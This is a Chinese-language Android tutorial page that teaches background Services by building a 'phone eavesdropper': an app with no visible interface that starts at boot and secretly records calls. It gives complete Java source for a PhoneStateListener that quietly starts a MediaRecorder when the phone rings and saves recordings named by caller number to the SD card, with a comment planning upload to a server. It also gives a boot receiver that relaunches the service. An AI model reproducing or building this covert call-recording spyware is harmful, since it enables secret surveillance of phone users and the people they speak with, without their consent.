編輯:關於Android編程
組件—服務
後台長期運行的沒有界面的一個activity。
電話竊聽器:
需求:
1.沒有界面,一般用戶看不到,開機自動啟動
2.長期的後台運行,監視當前用戶的手機狀態
3.通話狀態,開啟一個錄音機,然後錄音通話記錄,保存在sd卡中。
創建服務的步驟:
1.寫一個類,繼承系統的Service組件
2.清單文件配置
3.在服務的onCreate()方法做服務初始化的操作
4.在服務的onDestroy()方法裡面做服務掃尾操作
5.開啟服務startService(intent) stopService(intent)。
一.自己寫界面控制服務的開啟和關閉
xml文件很簡單,就兩個button開啟服務和關閉服務,不給出了。
MainActivity.java文件,
package com.itheima.phonelistener; import android.os.Bundle; import android.app.Activity; import android.content.Intent; import android.view.Menu; import android.view.View; public class MainActivity extends Activity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } /** * 開啟服務按鈕對應的點擊時間 * @param view */ public void start(View view){ //定義服務的意圖對象 Intent intent = new Intent(this,PhoneStatusService.class); startService(intent); } /** * 關閉服務按鈕對應的點擊時間 * @param view */ public void stop(View view){ Intent intent = new Intent(this,PhoneStatusService.class); stopService(intent); } }
package com.itheima.phonelistener; import java.io.File; import java.io.IOException; import android.app.Service; import android.content.Intent; import android.media.MediaRecorder; import android.media.MediaRecorder.AudioSource; import android.os.Environment; import android.os.IBinder; import android.telephony.PhoneStateListener; import android.telephony.TelephonyManager; import android.util.Log; public class PhoneStatusService extends Service { public static final String TAG = "PhoneStatusService"; //聲明手機電話系統狀態管理的服務類 private TelephonyManager tm; //電話狀態的監聽器 private MyPhoneListener myPhoneListener; //定義一個電話錄音機 private MediaRecorder mediaRecorder; @Override public IBinder onBind(Intent arg0) { return null; } //Called by the system when the service is first created //當服務第一次被創建的時候執行,由系統執行的。 @Override public void onCreate() { //獲取手機電話狀態管理的服務。 tm = (TelephonyManager)getSystemService(TELEPHONY_SERVICE); //創建一個監聽器,監聽電話呼叫狀態的變化。 myPhoneListener = new MyPhoneListener(); //開始監聽用戶的通話狀態 tm.listen(myPhoneListener, PhoneStateListener.LISTEN_CALL_STATE); super.onCreate(); } //Called by the system to notify a Service that it is no longer used and is being removed //當服務被停止的時候調用。 @Override public void onDestroy() { //服務停止取消電話的監聽器 tm.listen(myPhoneListener, PhoneStateListener.LISTEN_NONE); myPhoneListener = null; super.onDestroy(); } private class MyPhoneListener extends PhoneStateListener{ //當手機呼叫狀態變化的時候 執行下面代碼。 //state 電話的狀態 //incomingnumber 來電號碼 @Override public void onCallStateChanged(int state, String incomingNumber) { try { //判斷我們當前手機的通話狀態 switch (state) { //手機處於空閒狀態,沒有人打電話 沒有零響 case TelephonyManager.CALL_STATE_IDLE: Log.i(TAG,"手機處於空閒狀態,檢查剛才是否開啟了錄音機,如果開啟了,保存音頻到sd卡"); if(mediaRecorder!=null){ //8.停止錄音 mediaRecorder.stop(); //9.釋放資源。 mediaRecorder.release(); //方便垃圾回收器回收掉資源 mediaRecorder = null; //上傳音頻文件到服務器 。 網絡請求api。刪除sd卡臨時保存的文件。 } break; //手機零響狀態 case TelephonyManager.CALL_STATE_RINGING: Log.i(TAG,"手機鈴聲響的狀態,悄悄地開啟一個錄音機,准備錄音。"); //1.第一步創建一個多媒體錄音機的實例 mediaRecorder = new MediaRecorder(); //2.指定錄音機的音頻源 錄音的音源是麥克風 mediaRecorder.setAudioSource(AudioSource.MIC); //3.指定這個音頻文件的格式 。 mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); //4.指定錄出來的音頻文件保存的文件路徑 File file = new File(Environment.getExternalStorageDirectory(),incomingNumber+".3gp"); mediaRecorder.setOutputFile(file.getAbsolutePath()); //5.設置音頻的編碼格式 mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT); //6.准備開始錄音 mediaRecorder.prepare(); break; //電話接通狀態,用戶正在打電話 case TelephonyManager.CALL_STATE_OFFHOOK: Log.i(TAG,"手機處於通話狀態,開始錄音,把用戶說的話都給錄下來。"); if(mediaRecorder!=null){ //7.開始錄音 mediaRecorder.start(); } break; } super.onCallStateChanged(state, incomingNumber); } catch (Exception e) { e.printStackTrace(); } } } }
二.開機自動啟動服務
配置文件AndroidManifest.xml添加
自定義開機廣播接受者,
package com.itheima.phonelistener; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class BootCompleteReceiver extends BroadcastReceiver { private static final String TAG = "BootCompleteReceiver"; @Override public void onReceive(Context context, Intent intent) { Log.i(TAG,"手機啟動完畢了,監視到了手機啟動的廣播事件,開啟後台監聽的服務"); Intent i = new Intent(context,PhoneStatusService.class); context.startService(i); } }
查看sd卡路徑下可以找到.3gp文件,就是通話的錄音文件。
View的事件分發機制,也稱為View的事件攔截機制,在說事件分發機制之前,需要對MotionEvent對象就行分析,也就是點擊事件,MotionEvent是手指接觸屏幕
MediaRecorder類詳解 手機一般都有麥克風和攝像頭,而Android系統就可以利用這些硬件來錄制音視頻了。 為了增加對錄制音視頻的支持,Android系統提
最近在做一個多語言切換的功能,類似於微信的語言切換,搜了下資料基本上都是以下這種:1. 實現的效果 和微信類似,在設置界面打開切換語言的界面,選擇語言後重啟 H
Android更換皮膚解決方案 轉載請注明出處:IT_xiao小巫本篇博客要給大家分享的一個關於Android應用換膚的Demo,大家可以到我的github去下載demo